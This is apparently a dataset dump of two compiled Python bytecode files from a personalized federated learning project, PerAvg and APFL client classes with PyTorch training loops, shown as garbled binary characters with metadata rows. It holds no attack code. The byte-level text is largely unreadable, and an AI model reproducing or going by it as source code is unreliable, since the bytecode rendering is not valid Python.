f¾`c‡ ã @ sX d dl Zd dlZd dlZd dlZd dlmZ d dlmZ d dl m
Z
G dd„ de
ƒZ dS )é N)ÚPerAvgOptimizer)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientPerAvgc sF t ƒ j||||fi |¤� | j| _t ¡ | _t| j ¡ | jd�| _
d S )N)Úlr) ÚsuperÚ__init__Ú
learning_rateÚbetaÚnnÚCrossEntropyLossÚlossr ÚmodelÚ
parametersÚ optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© úu/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientperavg.pyr s
zclientPerAvg.__init__c C sp | | jd ¡}t ¡ }| j ¡ | j}| jr@tj d|d ¡}t
|ƒD �]ô}|D �]è\}}t t
| j ¡ ƒ¡}t|ƒtg ƒkr¾d d g}|d d | j… | j¡|d< |d d | j… |d< n|d | j… | j¡}|d | j… | j¡} | j�r t dt tj ¡ ¡ ¡ | j ¡ | |¡}
| |
| ¡} | ¡ | j ¡ t|ƒtg ƒk�r�d d g}|d | jd … | j¡|d< |d | jd … |d< n|| jd … | j¡}|| jd … | j¡} | j�rÜt dt tj ¡ ¡ ¡ | j ¡ | |¡}
| |
| ¡} | ¡ t| j ¡ |ƒD ]\} }
|
j ¡ | _�q| jj| j d� qRqH| j d d7 < | j d t ¡ | 7 < d S )Né é r gš™™™™™¹?©r Ú
num_roundsÚ
total_cost) Úload_train_dataÚ
batch_sizeÚtimer
ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚcopyÚdeepcopyÚlistr ÚtypeÚtoÚdeviceÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚzipÚdataÚcloner Útrain_time_cost)r Ú trainloaderÚ
start_timeÚmax_local_stepsr4 ÚXÚYZ
temp_modelÚxÚyÚoutputr Ú old_paramÚ new_paramr r r r" sN
zclientPerAvg.trainc C s | | j¡}t|ƒ}| j ¡ t|ƒ\}}t|ƒtg ƒkrP|d | j¡|d< n | | j¡}| | j¡}| j
¡ | |¡}| ||¡}| ¡ | j
¡ t|ƒ\}}t|ƒtg ƒkrÌ|d | j¡|d< n | | j¡}| | j¡}| j
¡ | |¡}| ||¡}| ¡ | j j
| jd� d S )Nr r )Úload_test_datar Úiterr
r" Únextr, r- r. r r2 r r3 r4 r )r Z
testloaderZiter_testloaderr> r? r@ r r r r Útrain_one_stepN s.
zclientPerAvg.train_one_step)Ú__name__Ú
__module__Ú __qualname__r r" rF Ú
__classcell__r r r r r
s :r ) Únumpyr% Útorchr! r) Útorch.nnr
Ú flcore.optimizers.fedoptimizerr Úflcore.clients.clientbaser r r r r r Ú<module> s | 2,779 | Python | .py | 37 | 73.972973 | 230 | 0.406125 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,699 | clientapfl.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientapfl.cpython-37.pyc | B
Úfcâ
ã @ sL d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú
clientAPFLc sn t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ |j | _ t
| j¡| _tjj| j ¡ | j
d�| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚalphaÚcopyÚdeepcopyÚ model_perÚ
optimizer_per)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs)Ú __class__© úG/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientapfl.pyr
s
zclientAPFL.__init__c C sÎ | ¡ }t ¡ }| j | j¡ | j | j¡ | j ¡ | j}| jrTt j
d|d ¡}xôt |ƒD ]è}xât
|ƒD ]Ö\}\}}t|ƒtg ƒkr�|d | j¡|d< n | | j¡}| | j¡}| jrÖt dt t j
¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ | j ¡ | |¡}
| |
|¡} | ¡ | j ¡ | ¡ qlW q^W x>t| j ¡ | j ¡ ƒD ]$\} }
d| j |
| j| | _ �qbW | j ¡ | j ¡ | j d d7 < | j d t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer ÚtoÚdevicer
ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepr Ú alpha_updateÚzipr r ÚdataÚcpuÚtrain_time_cost)r Ú trainloaderÚ
start_timeÚmax_local_stepsr5 ÚiÚxÚyÚoutputr Z
output_perZloss_perÚlpÚpr r r r' sB
zclientAPFL.trainc C sª d}xjt | j ¡ | j ¡ ƒD ]P\}}|j|j }| j|jj d| j |jj }|| d¡j | d¡¡7 }q W |d| j 7 }| j| j
| | _t | j
¡ dd¡| _d S )Nr r éÿÿÿÿg{®Gáz”?g g ğ?)r7 r
r r r8 r ÚgradÚviewÚTÚdotr r* ÚclipÚitem)r Z
grad_alphaZl_paramsZp_paramsZdifrE r r r r6 @ s zclientAPFL.alpha_update)Ú__name__Ú
__module__Ú __qualname__r r' r6 Ú
__classcell__r r )r r r s
,r )
r r
Útorch.nnr Únumpyr* r$ Úflcore.clients.clientbaser r r r r r Ú<module> s | 2,394 | Python | .py | 33 | 71.393939 | 233 | 0.428027 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.